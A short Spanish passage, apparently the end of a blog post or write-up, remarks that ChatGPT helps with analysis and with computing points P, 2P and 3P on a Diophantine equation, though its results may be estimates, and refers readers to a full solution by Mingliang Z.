ChatGPT ha demostrado ser eficaz en el análisis y la resolución de problemas, siempre que se le proporcione el contexto adecuado. Sin embargo, es importante ser conscientes de que la respuesta proporcionada puede ser aproximada, especialmente si la solución requiere una gran cantidad de recursos computacionales. Por ejemplo, al trabajar con una ecuación diofántica y valores específicos para (x) e (y), ChatGPT puede ayudar a calcular puntos como (P), (2P), (3P), etc., pero hay que tener en cuenta que los resultados para estos puntos pueden ser estimaciones.
Finalmente, os invito a leer la solución de Mingliang Z. [4], en la que se resuelve el problema por completo y de forma muy detallada.
